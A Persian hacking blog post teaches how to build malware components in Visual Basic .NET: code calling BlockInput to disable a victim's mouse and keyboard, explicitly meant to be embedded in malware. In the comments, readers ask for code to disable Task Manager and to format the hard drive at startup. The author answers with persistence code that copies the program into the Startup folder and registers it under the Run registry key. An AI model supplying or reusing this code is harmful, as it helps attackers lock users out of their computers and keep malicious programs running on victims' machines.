غیر فعال کردن موس و کیبورد VB :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۵ آذر ۹۶، ۱۱:۰۴ - reza
    code

در پست قبلی ساخت صفحه دیفیس برای سیستم و تصرف کل دسکتاپ و برنامه های سیستم رو بررسی کردیم.

برنامه ای که درست کرده بودیم با فشار دادن کلید های ترکیبی Alt +F4 و ... بسته میشد.

البته یه تکه کد مخرب هم بهش اضافه کرده بودیم که در صورت بسته شدن برنامه هم متوقف نمیشد.

در این پست با کدهایی آشنا میشیم که باعث غیر فعال شدن موس و کیبورد و یا هنگ کردن سیستم میشن و از بسته شدن برنامه جلوگیری خواهند کرد.

مسلما تکه کدهای زیادی وجود داره تا این دو سخت افزار رو غیر فعال کنیم اینجا دو روش رو بررسی خواهیم کرد.

طبق عادت کدهای کوتاه تر و قوی تر رو توضیح میدم ولی بهتره این پروژه (غیرفعال کردن موس و کیبورد) رو جداگانه کار کنیم تا هم بتونید راحت تر تستش کنید و هم یاد بگیرید تا بتونید در هر برنامه یا پروژه ای اضافه اش کنید.

یه پروژه جدید در ویژوآل بیسیک ایجاد کنید و کارکتر های زیر رو بهش اضافه کنید.

یک عدد Button

یک عدد Progress

و یک Timer 

virus32

روی فورم یا یکی از اجزا دوبل کلیک کنید تا به قسمت کد نویسی بریم.

تمام کدهای موجود در صفحه رو پاک کنید و کدهای زیر رو کپی کنید.

Public Class Form1
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
BlockInput(True)
ProgressBar1.Increment(+5)
If ProgressBar1.Value = 100 Then
Timer1.Enabled = False
BlockInput(False)
MsgBox("Virus32.blog.ir")
ProgressBar1.Value = 0
End If
End Sub
End Class

کدهای بالا رو خط به خط توضیح میدم

اصلی ترین کد خط زیر هستش که باعث غیر فعال شدن موس و کیبورد میشه

   Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

این کد رو نمیتونید تو قسمت فورم لود قرار بدیم چون خودش یه sub جداگانه است ولی ما میتونیم این کد رو نوشته و در قسمت کدهای فورم لود ، تکه کد زیر رو قرار بدیم تا وقتی برنامه اجرا شد موس و کیبورد هم غیر فعال بشه

BlockInput(True)

ولی من اینجا این کدهارو برای تایمر و دکمه ای که در فورم قرار دادیم تعریف کردم تا شما هم بتونید تستش کنید و یا با کدها به دلخواه خودتون بازی کنید که وقتی در نهایت با کدها بهتر آشنا شدین اونو بصورتی که گفتم در بد افزارها جاسازش کنید و ...

تکه کد بعدی برای دکمه یا همون Button هستش که قراره با کلیک کردن بر روی اون تایمرمون فعال بشه

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub

ادامه ی کدها مربوط به تایمر هستش که قراره تکه کد اولی (کد اصلی) رو فعال کنه یعنی موس و کیبورد رو غیر فعال کنه

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
BlockInput(True)

و Progress رو با سرعت تعریف شده ی 5 به حرکت دربیاره

        ProgressBar1.Increment(+5)

در ادامه وقتی Progress به صد در صد خود رسید تایمر باید غیر فعال شه که به دنبال اون کد اصلی هم غیر فعال خواهد شد

        If ProgressBar1.Value = 100 Then
Timer1.Enabled = False
BlockInput(False)

در پایان هم پیامی نمایش خواهد داد

            MsgBox("Virus32.blog.ir")

در کل کاری که این برنامه انجام میده اینه که وقتی روی دکمه کلیک کردیم موس و کیبورد رو غیر فعال میکنه و بعد از چند ثانیه دوباره موس و کیبورد فعال میشه.

من برای برنامه تایمر گذاشتم تا خودمون برای تستش اذیت نشیم.

دقت کنید شاید موقع نوشتن این برنامه نتونید از محیط برنامه نویسی تستش کنید چون باید بصورت Run as admin اجرا بشه

برای تست باید برین پوشه ای که برنامه تون رو توش ذخیره میکنید و روی برنامه کلیک راست کنید و با گزینه Run as اجراش کنید.

نظر (۸)

سلامی دوباره، باز من اومدم :)
میشه آمورش غیر فعال کردن کیبورد رو توی مولتی مدیا بیلدر بدید ؟؟؟
من برای ویروسم یه پلاگین درست کردمو یه فایل دی ال ال رو که دانلود کرده بودم اجرا کردم که کارش غیر فعال کردن کیبورد بود ولی تسک منیجر رو از کار نمینداخت هر کاری هم کردم نشد میشه یه کدی یا آموزشی بدید که باهاش اونم غیر فعال کنم ؟؟؟
مرسی. :)
Virus 32 :
سلام خوش اومدی :)
این پست رو برای تو نوشتم ;)
سلام ویروس جان لطفا همینو به زبان سی شارپ بگو
Virus 32 :
سلام اینجا رو بخون
سلام خوبی دادا
اگه میشه سورس کدشو و خود ویروس رو برام بفرستی رو ایمیل
Virus 32 :
سلام ممنون
سورس هارو اینجا قرار میدم
وقت نمیکنم به ایمیل ارسال کنم

خوبی
خب پس یه سورس کد برای ویژال بسیک 6 بهم بده که تو استارتاپ قرار بگیره و هارد رو فرمت کنه و هر 5 ثانیه هم ویندوز ریستارت بشه
بعدش با چه فرمتی سیوش کنم؟؟؟

ممنون

:)
کد مخربش چیه؟؟؟؟
Virus 32 :
دردسر ساز شده بود پاکش کردم
ویروس جونم داش بخدا پوکیدم کمک کن چند روزه گیره اینم
اگه میشه کدهارو یک جا از همون using بزاری یعنی تکه تکه نباشن توروخدا کمکم کن(>_
Virus 32 :
سلام داشی
ویژوآل بیسیک using نداره داداش کدها کامله بیشتر تلاش کن
سلام
داش یه کد بده برا vb.net که وقتی برنامه اجرا شد تو استارت اپ کپی بشه مثل کد سی شارپ
Virus 32 :
سلام
برای کپی کردن برنامه تو استارت آپ :
Dim info As New FileInfo(application.startuppath)
info.CopyTo(My.Computer.FileSystem.SpecialDirectories.Programs + "\startup\nam.exe")
برای ثبت کردن برنامه در قسمت Run ریجستری :
My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
End Sub
هر دو باعث مشن برنامه همپای ویندوز اجرا بشه.
سلام همون کارایی که گفتید رو انجام دادم ولی به کلمه ی Public گیر میده.
مشکل چی ؟
Virus 32 :
سلام
متن اخطار رو بفرست
دقت کن اسم فرم Form1 باشه
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی